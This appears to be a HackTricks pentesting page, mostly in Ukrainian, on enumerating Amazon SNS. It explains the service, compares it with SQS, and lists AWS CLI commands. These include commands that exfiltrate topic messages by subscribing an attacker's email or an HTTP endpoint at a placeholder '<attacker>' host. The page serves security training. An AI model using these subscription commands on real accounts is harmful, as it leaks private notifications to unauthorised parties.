5.0 KiB
AWS - SNS Enum
{{#include ../../../banners/hacktricks-training.md}}
SNS
Amazon Simple Notification Service (Amazon SNS) описується як повністю керована служба обміну повідомленнями. Вона підтримує як додаток-додатку (A2A), так і додаток-людина (A2P) типи комунікації.
Ключові особливості для A2A комунікації включають механізми публікації/підписки (pub/sub). Ці механізми вводять теми, які є критично важливими для забезпечення високої пропускної здатності, пуш-орієнтованого, багато до багатьох обміну повідомленнями. Ця функція є надзвичайно вигідною в сценаріях, що включають розподілені системи, мікросервіси та архітектури безсерверних подій. Використовуючи ці теми, системи публікаторів можуть ефективно розподіляти повідомлення на широкий спектр систем підписників, сприяючи патерну обміну повідомленнями fanout.
Різниця з SQS
SQS є черговою службою, яка дозволяє точкову комунікацію, забезпечуючи обробку повідомлень одиничним споживачем. Вона пропонує доставку принаймні один раз, підтримує стандартні та FIFO черги, а також дозволяє зберігання повідомлень для повторних спроб і затриманої обробки.
З іншого боку, SNS є службою на основі публікації/підписки, що дозволяє один до багатьох комунікацію, транслюючи повідомлення багатьом підписникам одночасно. Вона підтримує різні кінцеві точки підписки, такі як електронна пошта, SMS, функції Lambda та HTTP/HTTPS, і надає механізми фільтрації для цільової доставки повідомлень.
Хоча обидві служби дозволяють декомпозицію між компонентами в розподілених системах, SQS зосереджується на черговій комунікації, а SNS підкреслює подієво-орієнтовані, fan-out патерни комунікації.
Перерахування
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Caution
Зверніть увагу, що якщо тема є типу FIFO, можуть бути використані лише підписники, які використовують протокол SQS (HTTP або HTTPS не можуть бути використані).
Також, навіть якщо
--topic-arnмістить регіон, переконайтеся, що ви вказали правильний регіон у--region, інакше ви отримаєте помилку, яка виглядає так, ніби ви не маєте доступу, але проблема в регіоні.
Unauthenticated Access
{{#ref}} ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md {{#endref}}
Privilege Escalation
{{#ref}} ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}}
Post Exploitation
{{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md {{#endref}}
Persistence
{{#ref}} ../aws-persistence/aws-sns-persistence.md {{#endref}}
References
{{#include ../../../banners/hacktricks-training.md}}